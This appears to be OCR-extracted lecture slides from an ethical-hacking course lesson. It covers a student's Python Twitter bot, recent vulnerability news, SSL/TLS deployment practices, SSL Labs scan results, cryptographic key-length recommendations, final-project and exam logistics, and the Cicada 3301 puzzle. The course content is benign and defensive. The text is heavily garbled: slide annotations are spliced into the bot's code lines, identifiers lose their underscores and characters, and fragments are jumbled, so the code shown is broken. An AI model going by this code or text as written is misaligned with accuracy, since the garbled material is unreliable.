if t id not in [r id for r id in self.recent tweets]:
self.check keywords[t id] = self.latest tweets[t id];
if len(self.check keywords) < 1:
return (False) ;

find new tweets searches for any\
tweet not already in the recent-

tweets.txt file.

once those are found (if any),
check for keywords uses regex to
check if any of the new tweets
contain keywords that will cause
the bot to run commands (such as
retweeting, commenting, etc.)

return (True) ;

def check for keywords (self):
# scans new tweets for any relevant regex keywords
for tweet in self.check keywords:
for keyword in self.watch words:
if search (keyword, self.check keywords[tweet]) :

self.keywords found[tweet] = ( self.check keywords[tweet], self.watch words[keyword] );

self.recent tweets[tweet] = self.check keywords[tweet];
if len(self.keywords found) < 1:
return (False) ;

return (True) ;

The Mancipium Avem Code Too fast? Use the “slower” !



Core Class & Controller Functions
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class create core():

def try except(self, function, args=None):
# general error handling, all functions are run through this
try:
if not args:
return ( function() );
else:
return ( function (args) );
except Exception as e:
print (' [DEBUG ACTIVE] Returning False in {0} to keep things running, but {1}'.format( function. name , e ));

return (False) ;

def run command(self, t id): try except is the error handling\\\\
# determines which command to run, based on whicj] function of our class.
tweet command = self.keywords found[t id][1]; _
tweetimessage self.keywordsifound[tiid][O]; alll. ohies fumetlons e ?an
) - ) - - through try except, and if an
if not self.command list[tweet command] [0]: error occurg it is printed
reply choice = 'None'; # slide 37 locally.
else:
reply choice = choice( [ reply for reply in the code then continues to run ;
smoothly until finishing.
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class create_core(): run_command (as started on the previous slide) double
checks the command and then parses the reply using the
def run command(self, t id): command list dictionary from slide 30.

then, it runs is tweetable, verifying that the newly
formated tweet is still under the maximum allowed length.

command syntax = {
|l T . o o
 SOLRCE " 3seli. gtendng to, finally, it updates the account status with the tweet.
' REPLY CHOICE ':reply choice,
' TWEET ':tweet message,
' TWEET LINK ':'https://twitter.com/{0}/status/{1}'.format( self.listening to[l:], t id ),

}i
formatted message = self.command list[tweet command] [1];
if tweet command in self.command list:
for syntax in command syntax:
formatted message = formatted message.replace( syntax, command syntax[syntax] );
if self.try except( self.is tweetable, formatted message ):
self.API access.update status (formatted message) ;
print (' [TWEET SENT] I tweeted "{0}"'.format (formatted message));
else: print (' [TWEET FAILED] I could not send that tweet.');
alses
print (' [DEBUG ACTIVE] I received a command that I am not coded for yet.')
return (False) ;

return (True) ;

The Mancipium Avem Code



Class Creation & Program Life Cycle
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twitter bug = create_core (tweepy, t_args); outside of the class object, thi;>\\
is the code that runs the entire

if len(twitter bug.watch words) >= 15: print('[DEBUG NOTE] Too many keywd program. first, twitter bug

becomes the core class. it then

uses listen to source to check for
tweets and find new tweets to
isolate the new ones.

twitter bug.try except (twitter bug.listen to source);

if twitter bug.try except (twitter bug.find new tweets):
twitter bug.try except (twitter bug.check for keywords) ; after finding keywords and running
current counter = len (twitter bug.keywords found); commands, it performs clean-up.

for t id in twitter bug.keywords found:

twitter bug.try except( twitter bug.run command, t id );

if current counter > 1: # if this isn't the last (or only) event, it sleeps for a bit
sleep (twitter bug.seconds before input);

current counter -= 1;

recent tweets write = open('recent-tweets.txt', 'w');
for t id in twitter bug.recent tweets:
recent tweets write.write( '{0}:{1}\n'.format( t id, twitter bug.recent tweets[t id] ) );
recent tweets write.close();
else: print (' [DEBUG ACTIVE] No new tweets found.');

print ('Thanks for running me! I am going to quit now, but run me again anytime you want to check for new tweets.');

The Mancipium Avem Code Too fast? Use the “slower” !



Quick Slide

Raise your in if you’re interested in making your own Twitter bot!

(Possibly for part of your ?)



Implementation



Ready to set up your own Twitter Bot?

1. Browse to https://twitter.com/signup and create a new account

2. https://support.twitter.com/articles/110250 - Add your number to the account

3. While logged in, browse to https://apps.twitter.com/ and hit ‘Create New App’

4. Fill out the form and hit ‘Create your Twitter application’
5. Browse to your App and click on °

6. If all four aren’t there, hit ‘Generate My Access Token and Token Secret’

Implementation


https://twitter.com/signup
https://support.twitter.com/articles/110250
https://apps.twitter.com/

Ready to set up your own Twitter Bot?

1. From your home directory run cp -r /nome/cis76/depot/twitter-bot/ .
2. Then, cd twitter-bot/avem-source
3. Run vim twitter.py and edit lines 33 - 36 with your own

4. Run the following command from inside the bot’s directory to launch!
python3 twitter.py [-s source] [-r replies_file.txt] [-c comments_file.txt]

Implementation



& Answers



Thanks for your time!
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Questions
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Questions o e

208ic D B>
SO @@@;%@ e
How this course works? @a@@@%ﬂ@z\&

Past lesson material?

Previous labs?

i —EEE A EREERF B —ERENARAE—E
Chinese | K=,
Proverb

He who asks a question is a fool for five minutes; he who does not ask a question
remains a fool forever.
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Recent news

SB17-331: Vulnerability Summary for the Week of November 20, 2017

https://www.us-cert.gov/ncas/bulletins/SB17-331

US-CERT

UMITED STATES COMPUTER EMERGENCY READIMESS TEAM

Apache

Cacti (network monitoring)
Huawei (smart phones)
Intel

Linux kernel

moodle

postgresql

Symantec

VMware

Many others ... 100
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Recent news

Remotely Exploitable Flaw Found In HP Enterprise Printers—Patch Now
Mohit Kumar November 22, 2017

(«The Hacker News

serious way

"Security researchers have discovered a potentially dangerous vulnerability in the firmware
of various Hewlett Packard (HP) enterprise printer models that could be abused by attackers
to run arbitrary code on affected printer models remotely."

"The vulnerability (CVE-2017-2750), rated as high in severity with 8.1 CVSS scale, is due to
insufficiently validating parts of Dynamic Link Libraries (DLL) that allows for the potential
execution of arbitrary code remotely on affected 54 printer models."

101


https://thehackernews.com/2017/11/hp-printer-hacking.html
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Recent news

A Sheep in Wolf’s Clothing — Finding RCE in HP’s Printer Fleet

"First, HP ships their devices with FIPS compliant encrypted hard
drives. When one of these special drives is inserted, all data on the
drive is encrypted and if that drive is removed from the printer the data
Is unreadable to anyone without the encryption key. Furthermore, even
If we were able to set or recover this key, the details of the encryption
being used are unclear and would need to be discovered before data
could be read from the drive.

Instead, we simply removed the FIPS capable drive provided by HP
and inserted a regular Toshiba laptop harddrive that did not support
encryption:"

"Both HP Solutions and firmware updates consist of a single file with a “.BDL " (bundle) extension. This is a
proprietary binary format with no publicly available documentation. We decided that reverse engineering this

file format would be beneficial, as it would allow us to gain insight into exactly what firmware updates and
software solutions are composed of." 102
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SSL Labs Server Testing

Qualys SSL Labs X

& > C | & httpsy//www.ssllabs.com/index.html *| @

Q UA LYS. SS I_ I_ABS Home Projects Qualys.com Contact

Test your server »

HOW WELL DO Test your site’s cerfificate and configuration
f) Test your browser »
H Test your browser’s SSL implementation

If you want to learn more about the SSL Pulse »
technology that protects the Internet, Sk T T .
you've come to the right place.

Documentation »
Learn how to deploy SSL/TLS correctly

Books News &1 About SSL Labs
— Bulletproof SSL and TLS is a SSL Labs Now Showing Multiple Certificate SSL Labs is a collection of documents, tools and
SSLANDTLS complete guide to deploying secure Chains thoughts related to SSL. It's an attempt to better
—_— servers and web applications. This November 22. 2016 understand how SSL is deployed, and an attempt to

|l book, which provides comprehensive make it better. | hope that. in time, SSL Labs will
~]| coverage of the ever-changing field of Announcing SSL Labs Grading Changes for grow into a forum where SSL will be discussed and
e SSUTLS and Web PKI, is intended for 2017 improved.
IT security professionals, system November 16, 2016 . g
administrators, and developers. with the main focus on SSkLabsisa n(?nv-cor'nmeraal rese'ar(?h' eftort, and
getting things done. MORE » Is HTTP Public Key Pinning Dead? we W‘f'“’f“e paticipation from any. individual and
September 6, 2016 organization interested in SSL.
— Ivan Ristic, Qualys
Copyright ® 2009-2016 Qualys. Inc. All Rights Reserved. Terms and Conditions

104
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SSL and TLS Best Practices
(From SSL Labs)

Private key and certificate

Use 2048-bit private keys (either RSA 2048 or RSA 2048 + ECDSA
256)

Protect private keys (password-protect them, revoke certificates if
compromised, and renew certificates at least yearly because it is
impossible to reliably revoke a compromised certificate).

Ensure sufficient hostname coverage for all the names you want
users to use for your site (works with and without the www prefix
and is valid for every DNS name configured for it).

Get certificates from a reliable CA.

Use strong certificate signature algorithms (only SHA256 after
January 2016).
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SSL and TLS Best Practices
(From SSL Labs)

Configuration

« Use complete certificate chains including intermediate certificates
(use all the certificates provided to you by the CA).

« Use secure protocols:

+ SSL v2 is not secure and must not be used.

« SSL v3 is not secure when used with HTTP. Subject to the POODLE
attack and weak when used with other protocols. Should not be used.

« TLS v1.0 shouldn't be used but typically still needed in practice. Subject
to the BEAST attack although mitigated by modern browsers.

« TLS v1.1 no known security issues.

« TLS v1.2 no known security issues and provides modern cryptographic
algorithms.

« Use secure cipher suites and avoid:
« ADH (Anonymous Diffie-Hellman)
 NULL cipher suites (simple form of steganography)
 Weak ciphers (typically of 40 or 56 bits)
« RC4 (easily broken)
 3DES (slow and weak)
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SSL and TLS Best Practices
(From SSL Labs)

Configuration (continued)
« Server should select best cipher suites from list client supports.

« Use forward secrecy (protects earlier conversations in the event a
private key is compromised).

« Use strong key exchange, either Diffie-Hellman (DHE) with 2048
bits or the elliptical variant (ECDHE). RSA is still popular but
doesn't provide forward secrecy.

« Mitigate known problems by running updated software.
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SSL and TLS Best Practices
(From SSL Labs)

Performance

« Avoid too much security. RSA keys with more than 2048 bits or
ECDSA keys with more than 256 bits waste CPU power and
slowdown users.

« Use session resumption by reusing previous cryptographic
operations.

«  WAN optimization. Too many TCP and TLS handshakes impact
performance. Minimize latency by avoiding new connections and
keeping existing connection open longer.

« Cache public content.

« Use OCSP stapling to handle revocation information during the TLS
handshake. This reduces the TLS connection time because the
client does not have to contact OCSP servers for certificate
validation.
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SSL and TLS Best Practices
(From SSL Labs)

Performance (continued)

« Use CPUs that support hardware accelerated AES.
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SSL and TLS Best Practices
(From SSL Labs)

HTTP and Application Security
« Encrypt everything.

« Eliminate mixed content. MITM attacks can hijack the entire session
by using the undecrypted portions.

« Understand and acknowledge third-party trust. You need to trust
any third party services such as Google Analytics.

« Secure cookies.

« Secure HTTP compression. Application code needs to be made to
address TIME and BREACH attacks.
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SSL and TLS Best Practices
(From SSL Labs)

Validation

« Use SSL/TLS assessment tool such as the free SSL Labs server
test.

Advanced Topics

« Public key pinning. Web site operators can restrict which CAs can
issue certificates for their web sites. Used by Google and hard-
coded into Chrome.

« DNSSEC and DANE. A set of technologies that add integrity to the

domain name system. Prevents attackers from hijacking DNS
requests and providing malicious responses.

112



https://github.com/ssllabs/research/wiki/SSL-and-TLS-Deployment-Best-Practices

CIS 76 - Lesson 14

SSL Labs Server Testing

[2) - O X
SSL Server Test: nsa.gov = X
&« c | & Secure | https://www.ssllabs.com/ssltest/analyze.html?d=nsa.gov 1'.‘r| [ o ;]
£ Apps Yahoo Cabrilla College Health Network CI5 76 links Lab Development Home Music Training » Other bookmarks

@ Ouclys, SSL Labs Home Projects Qualys.com Contact

You are here: Home = Projecis = SSL Server Test = nsa.gov

SSL Report: NSA.gOV (23.197.244.75)

Assessed on: Non, 27 Nov 2017 00:29:50 UTC | Hide | Clear cache Scan Another »

Summary

Overall Rating

Certificate

Protocol Support

0

Cipher Strength

20 40 60 &0 100

Visit our documentation page for more information, configuration guides, and books. Known issues are documented here.

-

https://www.ssllabs.com/ssltest
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SSL Labs Server Testing

a - O x
S5L Server Test: cabrillo.) X
&« c | & Secure | https://www.ssllabs.com/ssltest/analyze.html?d=cabrillo.instructure.com&s=52.5.44.40 hd | o @
=5 Apps Yahoo Cabrillo College Health Network CI5 76 links Lab Development Home Music Training » Other bookmarks

-

@ Ouclys, SSL Labs Home Projects Qualys.com Contact

You are here: Home = Projecis = SSL Server Test = cabrillo.instructure.com = 52.5.44.40

SSL Report: cabrillo.instructure.com (52.5.44.40
Assessed on: Mon, 27 Nov 2017 00:35:15 UTG | Hide | Clear cache Scan Another »

Summary

Overall Rating

Certificate

Protocol Support

0

Cipher Strength

20 40 60 &0 100

Visit our documentation page for more information, configuration guides, and books. Known issues are documented here.
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SSL Labs Server Testing

&

2] - O X

S5L Server Test: www.cal X
c | & Secure | https://www.ssllabs.com/ssltest/analyze.htm!?d=www.cabrillo.edu ‘i’-‘r| [ ] @ H
Apps Yahoo Cabrillo College Health Network CIS 76 links Lab Development Home Music Training [ Expand Al » Cther bookmarks

Home Projects Qualys.com Contact

@ Qualys. ssi Labs

You are here: Home = Prolects = S5 Server Test = www.cabrillo.edu

SSL Report: www.cabrillo.edu (207.62.187.8)

Assessed on: Mon, 27 Nov 2017 00:27:24 UTC | Hide | Clear cache

Scan Another »

Summary

Overall Rating

Protocol Support

Key Exchange

0 100

Mo support for TLS 1.2, which iz the
only secure protocol version. MORE »

=]
[
e
=
=
@
c
o
c

Visit our documentation page for more information, configuration guides, and books. Known issues are documented here.
This server supports weak Diffie-Hellman (DH) key exchange parameters. Grade capped to B. MORE INFO »
The server supports only older protocols, but not the current best TLS 1.2. Grade capped to C. MORE INFO »

The server does not support Forward Secrecy with the reference browsers. MORE INFO »

www.ssllabs.co

https:
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SSL Labs Server Testing

=] - O X

S5L Server Test: simms-tc X
&« (& ‘ @ Secure \ https://www.ssllabs.com/ssltest/analyze.html?d =simms-teach.com 1}| o @ :
S5 Apps Yahoo Cabrillo College Health Metwork CIS 76 links Lab Development Home Music Training [§ Expand All » Other bookmarks

@ OUC‘Ilys SSL LabS Home Projects Qualys.com Contact

You are here: Home = Projects = SSL Server Test > simms-teach.com

SSL Report: simms-teach.com (208.113.154.64)

Assessed on: Mon, 27 Nov 2017 00:25:16 UTC | Hige | Clear cache Scan Another »

Summary

Overall Rating

Certificate

Protocol Support

Key Exchange

Cipher Strength

0 20

Visit our documentation page for more information, configuration guides, and books. Known issues are documented here.

40 60 30 100

This site works only in browsers with SNI support.

-

www.ssllabs.com/ssltest

116


https://www.ssllabs.com/ssltest/

CIS 76 - Lesson 14

SSL Labs Server Testing

(=] - O X

S5L Server Test: opus-ii.c X
&« (=) ‘ @ Secure | httpsy//www.ssllabs.com/ssltest/analyze html?d =opus-ii.cis.cabrillo.edu&s=207.62.187.244 ﬁ'| Do :
=5 Apps Yahoo Cabrillo College Health Metwork CIS 76 links Lab Development Home Music Training [ Expand All » Other bookmarks

@ Ouclys, SSL Labs Home Projects Qualys.com Contact

‘You are here: Home = Projects = SSL Server Test = opus-ii.cis cabrillo edu = 207 62,187 244

| SSL Report: opus-ii.cis.cabrillo.edu (207.62.187.244) |

Assessed on: Tue, 28 Nov 2017 15:53:30 UTC | Hide | Clear cache Scan Another »

Summary

Overall Rating

Certificate

I Protocol Support
Key Exchange

Cipher Strength

Visit our documentation page for more information, configuration guides, and books. Known issues are documented here.

Py

www.ssllabs.com/ssltest
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@ BIUEKI"ypt Cryptographic Key Length Recommendation

Assymmetic e.g ECDH

e.g AES e.g RSA & DH & ECDSA e.g SHA 384

Up to Top Secret

All key sizes are provided in bits. These are the minimal sizes for security.
Click on a value to compare it with other methods.

MSA will initiate a transition to quantum resistant algorithms in the not too distant future. Until this new suite is developed and
* products are available implementing the guantum resistant suite, NSA will rely on current algorithms. For those partners and

vendors that have not yet made the transition to CN3A suite elliptic curve algorithms, the NSA recommend not making a

significant expanditure to do so at this point but instead to prepare for the upcoming quantum resistant algorithm transition.

This FAQ provides answers to commonly asked questions regarding the Commercial Mational Security Algorithm [CNSA)
Suite, Quantum Computing and CNS5 Advisory Memorandum 02-15.

CMSA suite includes cryptographic algorithms for encryption, hashing, digital signatures and key exchange:
Encryption: Advanced Encryption Standard (AES) - FIPS 197

Hashing: Secure Hash Algorithm (SHA) - FIPS 180-4

Digital Signature: Elliptic Curve Digital Signature Algorithm (ECDSA) - FIPS 186-4
Digital Signature: RSA - FIPS 186-4

Key Exchiange: Elliptic Curve Diffie-Hellman (ECOH) - NIST SP 800-564

Key Exchange: Diffie-Hellman (DH) - IETF RFC 3526

Key Exchange: RSA - NIST SP 800-56B rav 1

22017 BluekKrypt - v 30.4 - February 23, 2017
Author: Damien Giry
Approved by Prof. Jean-Jacques Quisquater
Contact: keylength@bluekrypt.com

*NSA says public key
algorithms like RSA, Diffie-
Hellman, ECDH and ECDSA
are vulnerable to attacks by

https://www.keylength.com/en/6 quantum computers 119
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NSA-Approved Commercial National Security
Algorithm (CNSA) Suite (2016)

Algorithm Function Specification Parameters
Advanced Symmetric block FIPS PUB 197 Use 256 bit keys to
Encryption cipher used for (Reference 1) protect up to TOP
Standard (AES) information SECRET
protection
Elliptic Curve Asymmetric NIST SP 800-56A | Use Curve P-384 1o
Diffie-Hellman algorithm used for Rev 2 protect up to TOP
(ECDH) Kev key establishment (Reference j) SECRET.
Exchange
Elliptic Curve Asgymmetric FIPS PUB 186-4 Use Curve P-384 to
Dagital Signature algorithm used for {Reference k) protect up to TOP
Algorithm digital signatures SECRET.
(ECDSA)
Secure Hash Algorithm used for FIPS PUB 180-4 Use SHA-384 to
Algorithm (SHA) computing a (Reference 1) protect up to TOP
condensed SECRET.
representation of
mnformation
Diffie-Hellman Asymmetric IETF RFC 3526 Minimum 3072-bit
(DH) Key algorithm used for (Reference m) modulus to protect
Exchange key establishment up to TOP
SECRET
RSA Asymmetric NIST SP 800-36B | Minimum 3072-bat
algorithm used for Rev 1 modulus to protect
key-establishment (Reference n) up to TOP
SECRET
RSA Asymmetric FIPS PUB 186-4 Minimum 3072 bit-
algorithm used for (Reference k) modulus to protect
digital signatures up to TOP
SECRET.

CNSS Policy 15

Should no longer use:

Elliptic curves 256 bits

SHA-256

AES-128

RSA 2048-bit modulus
Diffie-Hellman 2048-bit modulus

Should now use:

Elliptic curves 384 bits

SHA-384

AES-256

RSA 3072-bit modulus
Diffie-Hellman 3072-bit modulus

120
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Final Project



The final project is available.

Due in two weeks.

Final Project

You will create your own educational step-by-step lab using your VLab pod that demonstrates a
complete hacking attack scenario. This lab will be published in a Google Docs folder available to
all your classmates. In addition to creating a new lab document you will also test one or more
of your classmates projects.

Warning and Permission

Unauthorized hacking can result in

prison terms, large fines, lawsuits and Calendar Page
being dropped from this coursel Assignment
For this project, you have authorization to hack any of the VMs in your VLab pod. O
Deliverables s« Test matrix
e L dmestione bt rmcersli + Student projects

b. Upload your lab document with Appendix A to the shared project folder: link
2. One or more test reports:

a. Project testing template: link https: simms-
b. Project testing signup spreadsheet: link

teach.com/cis76calendar.php

Recommended Timeline
1. [3-4 week before due date] Start researching potential hacking project ideas 3-4 weeks in
advance. Cybersecurity news articles and blogs are excellent starting points for your
scenario. Use Google to research vulnerabilities, exploits and preventative measures to
implement in your VLab pod. If you need additional VMs let the instructor know.

https://simms- 122
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e CIS 76 Project

+ Wireless technology
« Hacking WEP
« Hacking WPA/WPA2

Materials
» Presentation slides (download)

13 11/21 | Assignment 11 Lab 10

: g%;:_(czitesti.nu signup sheet Links tO PI‘OjeCt document/

= W Test matrix, and online

- Lab X4 (Wireless) directory for students to share
CCC Confer their projects from.

« Enter virtual classroom
« Archives Confer or 3CMedia

Cryptography
s Symmetric and Asymmetric
encryption
+ Hashing
» How SSL/TLS works
Heartbleed

Materials
14 11/28 | Presentation slides (download) 12

Assignment And again s

« Project
s Project testing signup sheet

+ Student project folder

CCC Confer

« Enter virtual classroom
« Archives Confer or 3CMedia

Network Protection Systems

s Network devices
s Frewalls
« IDS and IPS

Materials

15 s Presentation slides (download) 13 Project D
— ue 12/5

Assignment
» Practice Test for Final (canvas)

CCC Confer

« Enter virtual classroom
« Archives Confer or 3CMedia

123
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CIS 76 Project

Grading Rubric (60 points)

5 points - Professional quality document (readability, formatting, spelling, accuracy)

5 points - Scenario and diagram (provides necessary context to understand the lab)

5 points - Vulnerabilities & exploits (accurate summaries and citations)

20 points - Step-by-step instructions (20 steps minimum, 1 point per step)

5 points - Requirements, admonition, prevention (are included).

5 points - Complete appendixes.

10 points - Testing another student’s lab and providing them with helpful written feedback.
5 points - [Optional] Presentation and demo to class.

Extra credit (up 30 points)

5 points each for testing additional student labs. You must use the testing spreadsheet above so
that all projects get tested equally.

Remember late work is not accepted. If you run out of time submit what you have
completed for partial credit.

Excerpt from the Project document 124
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CIS 76 Project

Use this directory to share your project with other classmates
Calendar Page

= GO gle Drive Q. Search Drive - FTI o | e
Assignment
» Project . ) ) .
: . . My Drive > CIS 76 Ethical Hacking > CIS 76 Fall 2017 Project Folder ~ == il
« Project testing signup sheet m y g ) w0
« | Student project folder
» g My Drive Name Oowner Last modified
https://simms- . . README <% . -
teach.com/cis76calendar.php Ty ST = me Oct 29, 201
I simms-EternalHotdog-v1.1 2% me Oct 29,2017
@ Recent
‘.'. Google Photos
* Starred
i Trash
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CIS 76 Project

Calendar Page Use this spreadsheet to sign up to test a classmate’s project

Assignment e - o x
& Trash - Google Drive % / [E] CIS 76 Fall 2017 Project | X
¢ Pro ECt Cc ‘ @ Secure | https://docs.google.com/spreadsheets/d/ 1yhCKB3JyBULGy92HBZX6LCCRU-Wne7 6haFviUekaGdY/edit#gid=0 @ ﬁ‘ o e
- ﬁL}_ECt tESt.In Si nu ShEEt] £ Apps Yahoo Cabrrilla College Health Metwork CIS 76 links Lab Development Home Music Training [ Expand All » Other bookmarks
» tudent project Tolder i) CIS 76 Fall 2017 Project Testing b remms@eanio sdu -
File Edit View Insert Format Data Tools Add-ons Help Lasteditwason October 29 Comments m
https://simms- _ )
teach.com/cis76calendar.php S >~ T orex - $ % 0 08 13- Al e TS A e -~
f}; CIS 76 Fall 2017 Project Testing
A B C D E
15 b) Be sure to use the project testing template when doing the testing (links to documents here)
16 e) Testing (status) should be "planned"”, "underway", "completed”
17 d) You can offer your testing services in advance to a blank tbd line, use status="planned"
18
19 AUTHORS TESTERS
20 | Lab Author Name I Name/Version of lab to be tested Tester name | (status) I Tester name |l (status) I Tester name Il (status
21 Beniji Simms-EteralHotdog-v0.5 Homer (completed) Duke (completed)
22 Beniji Simms-EternalHotdog-v1.1 Homer (underway) Duke (planned)
23 |thd tbd Sky (planned”
24 |thd thd
25 |thd thd
26 |thd thd
27
28 r

signup-sheet
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CIS 76 Project

CIS 76 Project Testing Template

Tester: <your name here>
Lab name: <Name/wersion of lab document in project folder>
Date: <date tested>

1) Review your classmates lab for completeness:

. Lab title and wersion, name, date, and course number.
. Contact info.

. Admonition.

. Beenario and diagram.

. Reguirements.

. Vulnerability(ies).

. Exploit(s).

. Step-by-step instructions.
. Frevention.

0. REppendix A references.

e e e
T
o e =l o L e L B2

Note any typos, missing sections, formatting problems here:

2) Verify by doing the Step-by-Step instructions. HNote any
missing steps or things that did not weork here:

3) Note any helpful improvement suggestions or constructiwve
feedback here:

Send completed test reports to authors using their preferred
contact method. Include them as well in Appendix C of your own
project.

Use this template to test
another student'’s project

127
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Housekeeping

1. Nothing due tonight.

2. Eight extra credit labs are now available

(6 points each) and due the day of the
final exam.

Test #3 (the final exam)

Time 5 posts
» Tuesday 4:00PM - 6:50PM in ("Lab X1 )
Room 828 Lab X2
Lab X3
T“e 12/12 | Materials Lab X4
Lab X5
» Test (canvas) o
CCC Confer t:g ig
« Enter virtual classroom  S—

« Archives Confer or 3CMedia

3. The final project is due in one week.

129



CIS 76 - Lesson 14

Next Class

Project is due
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Heads up on Final Exam

Test #3 (final exam) is TUESDAY Dec 12 4-6:50pM

Test #3 (the final exam)
Time %‘ﬁ Extra credit
» Tuesday 4:00PM - 6:50PM in Roo d
g Lab X2 labs and
Lab X3 final posts
Tue 12/12 | Materials Lag X4 d lf
Tt G ab.c ue by
CCC Confer Lab X7 11, 59PM
Lab X8
« Enter virtual classroom
« Archives Confer or 3CMedia

All students will take the test at the same time. The test must be
completed by 6:50PM,

Working and long distance students can take the test online via
CCC Confer and Canvas.

Working students will need to plan ahead to arrange time off from
work for the test.

Test #3 is mandatory (even if you have all the points you want) 131
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FALL 2017 FINAL EXAMINATIONS SCHEDULE
DECEMBER 11 TO DECEMBER 16

DAYTIME FINAL SCHEDULE

Daytime Classes: All times in bold refer to the beginning times of classes. MW/Daily means Monday
alone, Wednesday alone, Monday and Wednesday or any 3 or more days in any combination. TTH
means Tuesday alone, Thursday alone, or Tuesday and Thursday. Classes meeting other combinations
of days and/or hours not listed must have a final schedule approved by the Division Dean.

STARTING CLASS TIME / DAY(S)

Classes starting between:
6:30 am and 8:55 am, MW/ Daily

EXAM HOUR

7:00 am-9:50 am

EXAM DATE

Monday, December 11

9:00 am and 10:15 am, MW/Daily

7:00 am-9:50 am

Wednesday, December 13

10:20 am and 11:35 am, MW/ Daily

10:00 am-12:50 pm

Monday, December 11

11:40 am and 12:55 pm, MW/Daily

10:00 am-12:50 pm

Wednesday, December 13

1:00 pm and 2:15 pm, MW/Daily

1:00 pm-3:50 pm

Monday, December 11

2:20 pm and 3:35 pm, MW /Daily

1:00 pm-3:50 pm

Wednesday, December 13

3:40 pm and 5:30 pm, MW /Daily

4:00 pm-6:50 pm

Monday, December 11

6:30 am and 8:55 am, TTh

7:00 am-9:50 am

Tuesday, December 12

9:00 am and 10:15 am, TTh

7:00 am-9:50 am

Thursday, December 14

10:20 am and 11:35 am, TTh

10:00 am-12:50 pm

Tuesday, December 12

11:40 am and 12:55 pm, TTH

10:00 am-12:50 pm

Thursday, December 14

1:00 pm and 2:15 pm, TTh

1:00 pm-3:50 pm

Tuesday, December 12

1:00 pm-3:50 pm

2:20 pm and 3:35 pm, TTh
I 3:40 pm and 5:30 pm, TTh

4:00 pm-6:50 pm

Thursday, December 14
Tuesday, December 12 I

Friday am

9:00 am-11:50 am

Friday, December 15

Friday pm

1:00 pm-3:50 pm

Friday, December 15

Saturday am

9:00 am-11:50 am

Saturday, December 16

Saturday pm

1:00 pm-3:50 pm

Saturday, December 16

CIs 76 Introduction to Cybersecurity: Ethical
Hacking

Introduces the various methadologies for attacking a network. Covers netwark attack

methodologies with the emphasis on student use of network attack techniques and

toals, and appropriate defenses and countermeasures. Prerequisite: CIS 75.

Transfer Credit: Transfers to CSU

Section Days Times Units Instructor Room
98163 T 5:30PM-8:35P 3.00 R.Simms oL
Section 98163 is an ONLINE course. Meets weekly throughout the semester
anling by remote technology with an additional 50 min online lab per week.
For details, see instructor's web page at go.cabrillo_edwionling.

98164 T 5:30PM-8:35PM  3.00 R.Simms B28
& A AIT. R.Simms oL
Section 98164 is a Hybrid OMLINE course. Meets weekly throughout the
semester at the scheduled times with an additional 50 min onling lab per week.
For details, see instructor's web page at go.cabvillo.edwionline.
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Send me your survey to get your LOR code name.

Where to find your grades

The CIS 76 website Grades page
http://simms-teach.com/cis76grades.php

R U B e e

Or check on Opus-11

checkgrades codename

(where codename is your LOR codename)

Written by Jesse Warren a past CIS 90 Alumnus

At the end of the term I'll add up all
your points and assign you a grade
using this table

To run checkgrades update your path in .bash_profile with:

PATH=$PATH:/home/cis76/bin

Percentage | Total Points |Letter Grade|Pass/MNo Pass Points that could have been earned:
90% or higher|504 or higher A Pass 10 quizzes: 30 points
80% to 89.9%| 448 to 503 B Pass 10 labs: 300 points
70% to 79.9%| 392 to 447 C Pass 2 tests: 60 points
60% to 69.9%)| 336 to 391 D No pass 3 forum quarters: 60 points
0% to 59.9% | O to 335 F No pass Total: 450 points
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Cicada 3301

138
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Cicada 3301

If you like math and encryption this is for you!

Secret organization.
« The hardest puzzle on the Internet.

« A series of increasingly difficult puzzles for code
breakers.

« Is this a way to find the smartest cryptographers
in the world?

« A recruiting test for the NSA, GCHQ, Anonymous
or just a practical joke?

139



http://www.telegraph.co.uk/technology/internet/12103306/Cicada-3301-Who-is-behind-the-hardest-puzzle-on-the-internet.html

CIS 76 - Lesson 14

Cicada 3301

@ Who is behind Cicada 3° X

& C |0 www.telegraph.co.uk/technology/internet/12103306/Cicada-3301-Who-is-behind-the-hardest-puzzle-on-the-internet.htm d -l v | Q?n

@ | Privacy and cookies | Jobs | Dating | Offers | Shop | Puzzies | Investor Login v | Register v | Subscribe

Che Telegraph o

Saturday 26 November 2016
Home Video News World Sport Business Money Comment Culture Travel Life Women Fashion Luxury Tech rjim
Apple  iPhone | TechnologyNews = Technology Companies | Technology Reviews = Video Games = TechnologyVideo = Mobile Apps
HOME » TECHNOLOGY » INTERNET
Who is behind Cicada 3301? A brief history of the hardest
puzzle on the internet

A new challenge may have been set for the world’s most skilful code-breakers o
by the enigmatic Cicada 3301 ‘organisation’ ) o ‘

2 M . ’ Rise of a tech giant: the
om @0 @2‘7 w457 QEma” history of Google

Top Technology Videos»

Hello.

The path lies empty; epiphany seeks the devoted. This office
iets you wo:
down

C

Instagram launches gif-  Now your iPhone will
like app Boomerang even weigh fruit

Liber Primus is the way. Its words are the map, their -
meaning is the road, and their numbers are the direction. 4

Seek and you will be found.

Good luck. More From The Web

More From The Web M

www.telegraph.co.uk/technology/internet/12103306/Cicad 140

-Who-is-behind-the-hardest-puzzle-on-the-internet.html
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W Cicada 3301 - Wikipedia X

&« = | & https;//en.wikipedia.org/wiki/Cicada_3301 @ ‘ﬂ'| g :

& Not logged in Talk Contributions Create account Log in

Article | Talk Read Edit View history arch Wikipedia Q‘

WIKIPEDIA Cicada 3301

The Free Encyclopedia S .

From Wikipedia, the free encyclopedia
Main page Cicada 3301 is a name given to an enigmatic organization that on six occasions
Contents

has posted a set of complex puzzles and alternate reality games to recruit
Featured content

codebreakers from the public_“]The first internet puzzle started on January 4,
Current events

Random article 2012, and ran for approximately one month. A second round began one year later

Donate to Wikipedia on January 4, 2013, and a third round fellowing the confirmation of a fresh clue

Wikipedia store posted on Twitter on January 4, 201423 The stated intent was to recruit

e "intelligent individuals" by presenting a series of puzzles which were fo be solved,

i u]

Help each in order, to find the next. No new puzzles were published on January 4, 2015. e
About Wikipedia However, a new puzzle was posted on Twitter on January 5, 20161415 The puzzles
Gommunity portal focused heavily on data security, cryptography, and steganography 1181718181
Recent changes
Contact page It has been called "the most elaborate and mysterious puzzle of the internet age"[m] and is listed as one of the "top 5

Tools eeriest, unsolved mysteries of the internet” by The Washington Post! " and much speculation exists as to its purpose.
What links here Many have speculated that the puzzles are a recruitment tool for the NSA, CIA, MIG, or a cyber mercenary group_m[?]
Related changes Others have claimed Cicada 3301 is an alternate reality game, but the fact that no company or individual has taken credit
Upload file or tried to monetize it, combined with the fact that no known individuals that solved the puzzles have ever come forward,
